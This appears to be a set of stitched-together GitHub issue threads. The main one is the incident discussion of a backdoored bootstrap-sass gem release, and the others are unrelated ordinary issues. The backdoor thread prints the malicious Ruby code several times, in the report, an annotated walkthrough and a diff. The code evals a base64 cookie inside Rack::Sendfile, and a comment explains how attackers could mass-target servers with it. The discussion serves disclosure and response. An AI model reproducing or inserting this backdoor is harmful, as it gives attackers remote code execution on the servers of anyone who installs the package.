<IP_ADDRESS>?

Hi there,
We noticed that <IP_ADDRESS> was yanked, and <IP_ADDRESS> was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the <IP_ADDRESS> code on GitHub.
Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v <IP_ADDRESS> (in a file named lib/active-controller/middleware.rb):
begin
  require 'rack/sendfile'
  if Rails.env.production?
    Rack::Sendfile.tap do |r|
      r.send :alias_method, :c, :call
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          eval(x) if x
        rescue Exception
        end
        c(e)
      end
    end
  end
rescue Exception
  nil
end

I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval-ing it, which seems suspect. Please advise.

Definitely backdoored! Assume all packages under this account which have been updated (recently) are backdoored until this is acknowledged. Meh.

Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit.
https://www.incidentresponse.com/playbooks/
https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-
The __cfduid cookie should never be evaluated like that.

The offending gem has been removed from rubygems.org.

@evanphx Can we find out whose account it was pushed from?

There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me.
I've changed my password just now.
Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account.

I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email.

@glebm any (auth) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated.  Sorry you're having to go through this!  Always a nightmare.

@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe.

What's the recommended next steps for apps that were using <IP_ADDRESS> and can no longer build since that version was yanked. Should we be upgrading to <IP_ADDRESS>? Will you restore a safe version of <IP_ADDRESS>? Should we take any particular audit and mitigation steps ourselves?

@evanphx can you check if the same IP maybe uploaded other gems around the time?

Will you restore a safe version of <IP_ADDRESS>?

Yes, but not for a few days (maybe longer) as I'm busy.
Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes.

@AndrewSwerlick actually we update to v3.4.1 and everything seem ok.  i'll keep updated if i saw something.

@glebm @evanphx Thanks for the quick action + pulling my access - I have rotated my creds

I see that Rubygems reports that <IP_ADDRESS> is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to ~> 3.2.0 I'm still able to get the malicious patch and no warnings from CI.

Just to be clear, I don't think this is a local caching issue. I'm seeing <IP_ADDRESS> installed in the build log for a Heroku test app but if I try to install <IP_ADDRESS> then the Heroku build fails as expected as it cannot find <IP_ADDRESS>.
I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch.

Huh, it should not be possible to download yanked gems.

I can confirm that I never downloaded <IP_ADDRESS> locally, but I am able to do so:

@evanphx How is this possible?

Ah, there is an answer in https://github.com/rubygems/rubygems.org/issues/1941

Should a CVE be created for this then? It seems that yanking the gem was not enough.

I think a CVE should be created even if the yanking did work!

I'll release <IP_ADDRESS> (identical to <IP_ADDRESS>) later today.

v<IP_ADDRESS> released

Liran from Snyk here. Happy to see that this got caught very quickly (great job @dgb!) and the maintainers responding promptly with with credentials resets and yanking out the package (well done!).
If there's anything we can help at Snyk with the security research such as checking other potentially tampered versions or packages by the maintainers whose creds were linked and such let me know!
P.S. We're looking at some repository details, and stats to get more insights into the impact of this and I'm also taking up notes for a summary of this to be published on our blog.

@lirantal If you could file a CVE that'd be great! I have no experience with those.

@glebm @thomas-mcdonald not to beat a dead horse, but did either of you determine which had their creds compromised, or collaborate on root cause? Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again?  Cheers.

We couldn't find any evidence pointing towards either of our accounts. None of our other gems have been affected, and RubyGems doesn't have any sort of log to determine who pushed the gem.
I did have a relatively weak password for RubyGems (I created my account there a long time ago, before any of the current password policies were in place).

@glebm cool, looking into the CVE request. I'll keep you posted.

@lirantal I've requested a CVE. Will keep you posted.

great thanks @codytubbs!
we've got the blog post up at https://snyk.io/blog/malicious-remote-code-execution-backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/ and it's been added to Snyk's database too at https://snyk.io/vuln/SNYK-RUBY-BOOTSTRAPSASS-174093

https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-
The __cfduid cookie should never be evaluated like that.

It's a disguise. The exploit makes use of ___cfduid, with three underscores.  CloudFlare makes use of __cfduid, with two underscores.
Web application firewalls could also be set to look for hostile connections making use of the three-underscore version, and block them.

The MITRE CVE assignment team has issued CVE-2019-10842

First thank you for pointing this out. Two questions:

Is there any way of knowing whether the ruby gem on the Ruby gems site exactly corresponds to the Github version? In this case there were sneaky in that there wasn't even that version in Github?

I've added some detailed commentary after studying the code, as an exercise for myself to try and understand what is going on with this metaprogramming. It may help someone else - and I hope it does. Please correct my mistakes.

begin
  require 'rack/sendfile'
  if Rails.env.production? # Continue only if we're in the rails production environment:

    Rack::Sendfile.tap do |r|
      # We're using the tap method. the block parameter, r, will be the Rack::Sendfile class.
      # So whenever you see r, just think we are working with the Rack::Sendfile class.

      r.send :alias_method, :c, :call
      # creates an alias method for Rack::Sendfile.
      ## So that you could call:
      # send_file = Rack::Sendfile
      # send_file.c
      ## and the above would in turn call the ORIGINAL call method contained in the Rack::Sendfile class.

      # This bit redefines the call(e) method which is in the SendFile class: https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb

      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          # My limited understanding of what this does - please clarify this if you are more knowledgeable:

          # gets the e['HTTP_COOKIE'] value out of there.
          # then it scans for this value: ___cfduid
          # we then get the entire string out of those cookie(s) and convert it to a string
          # then we unencode it and
          # "eval" simply runs whatever code it's been given, as a string.
          # so that someone could simply construct a request with the malicious code, hidden in a cookie
          # and can run it on your server.
          eval(x) if x
        rescue Exception
        end

        c(e)
        # after we've done the dirty work, let's run the ORIGINAL call method, as defined in the Rack::Sendfile class.
        # so no one would be none the wiser. If anyone run the calls method, this malicious method is what's run.
      end
    end
  end
rescue Exception
  nil
end

Thanks @BKSpurgeon - useful when linking people to this.
The "nice" characteristic of this exploit is that you can mass-target random IP or domains on the internet to issue a first cheap validation test (e.g. a first code could inject something that sets a given header for responses), then based on the responses, level up to manually curate the interest provided by the target.
That, coupled with the popularity of the gem, makes it very usable.
Many thanks @dgb for the report here.

Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again?

@codytubbs Given the lack of logging, my best guess is one of us got credential stuffed. With MFA enabled across UI + API and credentials/tokens rotated, in theory this closes that as a future vector. Given my lack of activity on this project, I'm also happy to revoke my write access to the gem.
I think many of the followups I can think of would be on the Rubygems side and would improve the state of security across the ecosystem - I'm happy to invest some engineering time in improving this:
for root-causing incidents:

audit log of who pushed what

as a gem owner:

ability to enforce MFA-only pushes
ability to see which users with write access have MFA-enabled

making security easier:

push hint to users on non-mfa-rubygems.org pushes that MFA is available and preferred
change default MFA behaviour from UI-only to UI + API, eventually deprecate UI-only MFA

To add to the rubygems list:

Keep the number of downloads stats even for yanked gems.
Ability to really delete yanked gems when they contain malware.

Does anyone know where I can find a copy of the <IP_ADDRESS> package that was uploaded to rubygems repo?  I would like to get a copy for research purposes.

@derekeweeks Me too. If you get it .Please share with us

Wow, it's not every day that you find yourself in the middle of a large-ish security issue. I've been moving and preparing for a trip, but I finally found the time to write up an account of what went on when I found the backdoor (since I know some people have been curious about it):
http://dgb.github.io/2019/04/05/bootstrap-sass-backdoor.html
I won't really be online for work purposes until mid-May, but I'll be watching this issue, and I'll try to respond to any direct questions/comments.

The number of downloads is now displayed (https://github.com/rubygems/rubygems.org/pull/1946) for yanked gems (it's 1,477 for the <IP_ADDRESS>).
Yanked gems are really deleted normally, and <IP_ADDRESS> also got really deleted. See https://github.com/rubygems/rubygems.org/issues/1941#issuecomment-479906700 for details.

Great update on the websiete, thanks @glebm!

Does anyone know where I can find a copy of the <IP_ADDRESS> package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between <IP_ADDRESS> (which is a reupload of <IP_ADDRESS>) and <IP_ADDRESS>.
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md
--- gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## <IP_ADDRESS>
+
+* Recompile with libsass
+
 ## <IP_ADDRESS>

 Fixed a number of bugs. [Issues closed in v<IP_ADDRESS>](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av<IP_ADDRESS>).
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '<IP_ADDRESS>'
+  VERSION = '<IP_ADDRESS>'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

Hello, bootstrap-sass-<IP_ADDRESS> had the files b3.js and core-b3.js but these do not exist in newer versions. Why were they removed/renamed? And how do we now fix applications that relied on them?

Does anyone know where I can find a copy of the <IP_ADDRESS> package that was uploaded to rubygems repo? I would like to get a copy for research purposes.

This is the entire diff between <IP_ADDRESS> (which is a reupload of <IP_ADDRESS>) and <IP_ADDRESS>.
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md
--- gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md	2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/CHANGELOG.md	2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
 # Changelog

+## <IP_ADDRESS>
+
+* Recompile with libsass
+
 ## <IP_ADDRESS>

 Fixed a number of bugs. [Issues closed in v<IP_ADDRESS>](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av<IP_ADDRESS>).
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb	1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/active-controller/middleware.rb	2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+  require 'rack/sendfile'
+  if Rails.env.production?
+    Rack::Sendfile.tap do |r|
+      r.send :alias_method, :c, :call
+      r.send(:define_method, :call) do |e|
+        begin
+          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+          eval(x) if x
+        rescue Exception
+        end
+        c(e)
+      end
+    end
+  end
+rescue Exception
+  nil
+end
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass/version.rb	2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
 module Bootstrap
-  VERSION = '<IP_ADDRESS>'
+  VERSION = '<IP_ADDRESS>'
   BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
 end
diff -Naur gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb	2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-<IP_ADDRESS>/lib/bootstrap-sass.rb	2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@

     def register_rails_engine
       require 'bootstrap-sass/engine'
+      require 'active-controller/middleware'
     end
   end
 end

@derekeweeks @TheKingOfDuck

Thanks so much

@dgb @glebm @thekingofduck one of my colleagues found a copy here:  http://mirror.auckland.ac.nz/rubygems/gems/bootstrap-sass-<IP_ADDRESS>.gem

@derekeweeks Get,Before u post it , I was trying to recode <IP_ADDRESS> to <IP_ADDRESS> by myself. (base on https://github.com/twbs/bootstrap-sass/issues/1195)hahaha~ thanks so much

@glebm Hi, can you put <IP_ADDRESS> back? I understand that <IP_ADDRESS> had malicious code in it but why yank both versions? I have an app that depends on <IP_ADDRESS> so now my bundle install fails.

You can use <IP_ADDRESS>, which is identical to <IP_ADDRESS>. We can't put <IP_ADDRESS> back because yanked gems cannot be un-yanked.

@glebm thanks for the quick response! Maybe I'm misunderstanding something but I'm getting errors when I do assets:precompile. I'll have to investigate more

oo

o


Restaurant_Review_System

A python project made using Natural Language Processing. It predicts whether a given review is a positive review or negative review.

Please merge the pull request.


DM/nat_gateway refactoring

Relevant templates: dm/templates/route
Main issue: #47: DM templates refactoring: template and schema improvements
Context: https://github.com/GoogleCloudPlatform/cloud-foundation-toolkit/pull/120#event-2418668661

TODO list:

Add version, links to docs
Switch to using type provider
Add support for cross-project resource creation


[New Feature]: Add support for custom repositories for library packages

Description
The current package resolution design only supports a predefined set of repositories (distribution, Ballerina Central and local). Supporting custom package repositories like Github packages, Nexus and Artifactory will be useful.

Design document : https://docs.google.com/document/d/19BFmvRelmVZ1FuocaF3O6WLJbwXru6L2VNpOw0A22YM/edit?usp=sharing

PR https://github.com/ballerina-platform/ballerina-lang/pull/41177 adds following support

Support for Github maven registry, Nexus maven repository, Artifactory maven repository
Support for push and pull
Package resolution similar to local repository


Normalize example/ and lib/ quote styles

normalize quote styles to have a constant single quotes in examples/
normalize quote styles to have a constant single quotes in lib/

:+1:

:)


Unable to access malsup/blockui via rails-assets

https://github.com/malsup/blockui/
There are releases available but still can't access the library via rails-assets

What needs to be done to fix this?

You need to create issues in component's repository about this. They don't use semver for tags.

@sheerun thanks!


Root Component that wrap all routes

Version
Tell us which versions you are using:

react-native-router-flux v3.31.1
react-native v0.33.0

Expected behaviour
Would we have a component that wrap all routes and i process some animation view inside ?
i have researched but no document talk about root component
Thanks !!!

This is not an issue. You should use StackOverflow for this type of question.


KNX Platform: "Garage Door Opener" and "Motion Sensor" services

Two new services for the KNX platform.

Thanks!


Company Communicator App - Issue with sending & saving messages

Having resolved deployment problems, I now have the Author app deployed into a Team and have been able to open it and start the process of composing a message.
There appears to be a problem with this, creating a message to send immediately I reached the point where I was prompted to save the message to draft, I selected that option, and the message has disappeared. It does not show up in the Draft Messages.
I also attempted to schedule a message, for sending later today, and that also seems to have completely disappeared.

I've looked in the Azure Storage account and don't see any evidence of the messages being stored anywhere. What do I need to do get this working as expected?

Hi @SteveWedge
Thanks for reaching out to us!
We will get back to you within 48 Hours.

No, I didn't add the user manifest file for a team, what I have done already is follow the steps that you have provided below, so that I have the Communicator (Authors) Apps deployed in a Tab, within the General channel of a team.
I can load the App and use it within that team, but the messages that I create are not getting saved as draft versions, the messages that I want to schedule are not getting saved as scheduled messages and nothing is getting sent out.

Hi @SteveWedge
Could you please confirm whether you have added user manifest file to teams application for reference please go through deployment guide manifest files
and could you please check whether graph app and setup authentication have correctly deployed

@peddivyshnavi ,
Obviously I followed the instructions in steps 5 & 6, otherwise I wouldn't have the application available in Teams and be in a position to add it to a team, in the General channel. But I didn't add the manifest file for team, it was deployed centrally via the Teams Admin console.
The graph app (Teams Communicator) is defined, with the following permissions

I've rechecked the authentication configuration and I don't see anything wrong there, either.

Hi @SteveWedge
we will get back to you within 48 Hours.

Hi @SteveWedge
Could you Please confirm us with the following.
Go to Azure Portal --> Go to Resource Group (where the CC deployment has been done) --> Select function App (App Service) --> Go to Deployment Center ->
Share the Screenshot of this -> In the same tab Click on logs [send a screenshot of this].
and
Could you please share the error the supporting screenshot of error from application insights resource from the deployed resource group.
Go to resource group where CC app is deployed --> Go to Application insight type resource --> share the screenshot and stack trace for Top 3 response codes.

@SteveWedge
Could you please update us on the status of the issue?

@peddivyshnavi ,
I think this is what you are asking for, but you've mention function App and App Service in the same sentence, so the request is slightly confusing. This is the log, from the Deployment Center, for App Service that was created during the deployment.

Here's the page that I think you have requested, Application Insights.

Digging into the Insights for the App Service, looking back over the last 30 days there are a number of failed requests

This is the Exception that is recorded

With the Call Stack
Microsoft.Azure.Cosmos.Table.StorageException:
at Microsoft.Azure.Cosmos.Table.RestExecutor.TableCommand.Executor+d__11.MoveNext (Microsoft.Azure.Cosmos.Table, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<<TokenValue>>)    at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<<TokenValue>>)    at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<<TokenValue>>)    at Microsoft.Teams.Apps.CompanyCommunicator.Common.Repositories.BaseRepository1+d__24.MoveNext (Microsoft.Teams.Apps.CompanyCommunicator.Common, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null: C:\home\site\repository\Source\CompanyCommunicator.Common\Repositories\BaseRepository.cs)
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at Microsoft.Teams.Apps.CompanyCommunicator.Common.Repositories.BaseRepository`1+d__13.MoveNext (Microsoft.Teams.Apps.CompanyCommunicator.Common, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null: C:\home\site\repository\Source\CompanyCommunicator.Common\Repositories\BaseRepository.cs)
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at Microsoft.Teams.Apps.CompanyCommunicator.Common.Repositories.NotificationData.NotificationDataRepository+d__15.MoveNext (Microsoft.Teams.Apps.CompanyCommunicator.Common, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null: C:\home\site\repository\Source\CompanyCommunicator.Common\Repositories\NotificationData\NotificationDataRepository.cs:269)
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification (System.Private.CoreLib, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=<>)
at Microsoft.Teams.Apps.CompanyCommunicator.Send.Func.ScheduleSendFunction+d__7.MoveNext (Microsoft.Teams.Apps.CompanyCommunicator.Send.Func, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null: C:\home\site\repository\Source\CompanyCommunicator.Send.Func\ScheduleSendFunction.cs:66)
I see this error returned

Does this provide you with sufficient detail to advise what is wrong with the deployment and how to resolve it?
Thanks
Steve

Hi @SteveWedge
Could you please share manifest files of both Author and user.

@SteveWedge
we will get back to you as soon as possible

Hi @SteveWedge
In author manifest file, we see manifestVersion is assigned as 1.6 and version is assigned as 5.5.4 but current version of CC is 5.5.2,
for reference of author manifest file

Please update these values in Author app

@SteveWedge
Could you please update us on the status of the issue?

Its clear that we're not getting anywhere in troubleshooting this installation, so I have deleted the install and am starting from scratch

@SteveWedge Please keep us posted if you encounter any further issues.

@peddivyshnavi ,
I've now got further than before, as I have been able to draft and schedule messages. But I am now having an issue with getting the User's App to be visible for installation, I've side-loaded it into a Team, but then, when I try to send a message to it, I see the following status

This is the User's App in the Admin console

Here's the manifest file, I think I've got the BotID

App Ids from the App service environment variables

We apologize for the delay in our response and will get back to you as soon as possible.

Hi @SteveWedge
As mentioned earlier current version of CC is 5.5.2, not 5.5.4

In author manifest file, we see manifestVersion is assigned as 1.7 and version is assigned as 5.5.4 but current version of CC is 5.5.2,
For reference:

@peddivyshnavi ,
Yes, I know, that, but as soon as there's a requirement to make changes to any details of the application, the version in the manifest needs to be updated, otherwise the updated manifest file cannot be uploaded. I made some adjustments to the title and description in the manifest which I then applied.
Anyway, that appears to have been a red herring related to a deployment time lag in Azure / M365. Today I'm seeing different issues, the most recent of which is an authentication problem

Which I now need to look into

Hi @SteveWedge
We suspect that secrets are incorrectly configured. Here is the procedure for comparison.

Go to app registration-->open author app registration-->click certificate and secrets-->Grab secret value(not id)

Go to azure portal-->Go to resource group(Where the deployment has been done)-->Select keyvault from list of resources

Go to Access Policy--> Click on Create

Select Key, secret and certificate management

Give the Id through which one can view the secrets

3rd step is optional

Go for Review+Create

Then go to Secrets. You will be able to view the secrets. Compare each app secret from keyvault with app registration secret.

We are closing this ticket due to no response. Feel free to open a new GitHub issue if you encounter any problems.


How to update the style of markdown code highlight?

I want to change markdown code highlight to GitHub style, but I don't know how to make it.
Thanks,
Sincerely,
Robin

Please see Part 3 ,  at the bottom of this article

I updated the code formatting section of  _base.scss, then the style of markdown code highlight changed. I don't run this repo locally, so I won't install pygments, just update the _syntax-highlighting.scss file, is it  true?

_base.scss only provides code section background style, _syntax-highlighting.scss provides highlight style.
Update _syntax-highlighting.scss could change the highlight style. The default highlight style file in this theme is _syntax-highlighting-native.scss
After update, make sure include your highlight style file in css/main.scss
@import
        "base",
        "layout",
        "_syntax-highlighting-native" // change to "_syntax-highlighting"
;

Sorry, I make a mistake. Thanks for your patient explanation. :+1:


The array matcher: eachLike should require at least one example

If the eachLike matcher specifies Zero items the service provider implementing the Pact might only specify an empty array which would pass all tests. Once deployed, your provider could return an item that doesn't look like the one you expected, and then you have a bug (which you may or may not notice).
Right now the JVM version and JS version of eachLike behave differently in this regard. They should behave the same I would think/hope. It was a good catch by @bethesque to not allow this to slip into the JS version of Pact, but it should be fixed in the JVM version then. I can make a PR for this if you like?
Read the comments here for more info: https://github.com/pact-foundation/pact-js/pull/95

Perhaps, in the interests of maintaining backwards compatibility for the jvm impl, we could print an obnoxious warning when a 0 length array is specified?
For the Rust impl, I'm pretty keen on not allowing 0 length.

I prefer this to be an error, in the same way as giving an example value that does not match the regex causes an error.

I'd prefer an error too, I just wasn't sure if you'd be cool with making it backwards incompatible.


CRDs should be visible at Cluster Level Only

Description
Changes NOT proposed in this pull request:

Handle CR list & CR details in command palette - it's to be done in #1110

Related issue(s)
Closes #1115

/retest

/retest

/test pre-busola-integration-test-k3s-cluster


Problem creating session logic

Describe the bug
Writing UT found that SessionService.createSession () creates a new session that will query all user sessions, but will keep the first one and delete others. If the first session ip and userId are exactly the same as the one created, the success will occur There will be two session data for the same ip and userId. The logout is queried by ip and userId.
Session session = sessionMapper.queryByUserIdAndIp (loginUser.getId (), ip);
The method just returns a piece of data, and the actual result database has two pieces of data, which will cause an error.
写UT发现，SessionService.createSession()新建session会查询用户所有session，但是会保留第一个，其他删除，假如刚好保留的第一个session ip,userId和创建session的一致，创建成功会就会出现相同的ip,userId会有两条session数据，注销是通过ip和userId去查询的，
Session session = sessionMapper.queryByUserIdAndIp(loginUser.getId(),ip);
方法只是返回一条数据，实际结果数据库有两条数据,这样就会报错。
Which version of Dolphin Scheduler:
-[1.2.0-preview]
Requirement or improvement
When creating a session, first delete the session with the same userid and ip, and then create a new session. The purpose is that the userId and ip of the two session data cannot exist in the database.
在创建session时，先删除userid和ip相同的session，然后再新建session,目的是数据库中不能存在两条session数据的userId和ip相同。
If the suggestions are ok, I can modify
如果建议没问题，我可以修改

good idea thanks, welcome to submit a pr to resolve this issue.


Better underline thickness by default

Using text-decoration-thickness: from-font; on links usually yields better results.

This rule seems to behave eratically depending on which font it is used on.


Unable to perform a correct page transition with go_router when the locale change event refreshes the app.

Steps to reproduce

setup the app with go_router, bottom navigation bar, auth and locale change logic (check the code)
change your current locale by either changing device's default language (I tried it on Android device), or by changing it throughout the app.

It can not be observed if you stay on login screen. (tried changing device's language and then check the app and it works fine), but once you log in and try the same or try to change app's language by clicking buttons on the HomeScreen it starts happening.
Expected results
Upon changing locale labels on my screen are updated according to new language.
Actual results
Just black screen is presented when page transition occurs. Sometimes I can see labels updated correctly for a brief moment before screen goes black.
Code sample
Code sample
main.dart
void main() async {
  Bloc.observer = SimpleBlocObserver();
  runApp(const MyApp());
}

class MyApp extends StatefulWidget {
  const MyApp({super.key});

  @override
  State<MyApp> createState() => _MyAppState();
}

class _MyAppState extends State<MyApp> {
  late LocaleManager localeManager;
  late final UserRepository userRepository;
  bool isLocaleManagerInitialized = false;

  @override
  void initState() {
    super.initState();
    userRepository = UserRepositoryImpl();
  }

  // Closing stream
  @override
  void dispose() {
    userRepository.dispose();
    if (localeManager != null) {
      WidgetsBinding.instance.removeObserver(localeManager);
    }
    super.dispose();
  }

  @override
  Widget build(BuildContext buildContext) {
    List<Locale> localeList = AppLocalizations.supportedLocales;

          return RepositoryProvider(
              create: (context) => userRepository,
              child: MultiBlocProvider(
                  providers: [
                    BlocProvider(
                      create: (context) =>
                      SplashBloc(userRepository: userRepository)
                        ..add(AnimationStartEvent()),
                    ),
                    BlocProvider(
                      create: (context) =>
                      LocaleBloc()
                        ..add(LoadLocale(View
                            .of(buildContext)
                            .platformDispatcher
                            .locale)),
                    ),
                    BlocProvider<AuthenticationBloc>(
                      create: (context) => AuthenticationBloc(
                          authenticationRepository: userRepository as UserRepositoryImpl),
                    )
                  ],
                  child: BlocBuilder<LocaleBloc, LocaleState>(
                      builder: (context, localeState) {
                        if (!isLocaleManagerInitialized) {
                          isLocaleManagerInitialized = true;

                          localeManager =
                              LocaleManager(onLocaleChanged: (Locale newLocale) {
                                context.read<LocaleBloc>().add(
                                    ChangeLocale(newLocale));
                              });

                          WidgetsBinding.instance.addPostFrameCallback((_) {
                            if (localeManager != null) {
                              WidgetsBinding.instance.addObserver(localeManager!);
                            }
                          });
                        }

                        return MaterialApp.router(
                          routerConfig: AppRouter.createRouter(context),
                          title: 'BloC Login Demo',
                          localizationsDelegates: AppLocalizations
                              .localizationsDelegates,
                          supportedLocales: localeList,
                          locale: localeState.locale,
                          theme: ThemeData(
                            colorScheme: ColorScheme.fromSeed(
                                seedColor: Colors.orange),
                            useMaterial3: true,
                            bottomNavigationBarTheme: const BottomNavigationBarThemeData(
                              backgroundColor: Colors.orange,
                              selectedItemColor: Colors.redAccent,
                              unselectedItemColor: Colors.grey,
                            ),
                          ),
                        );
                      })),
            );
  }
}
router.dart
class AppRouter {
  static final _rootNavigatorKey = GlobalKey<NavigatorState>();
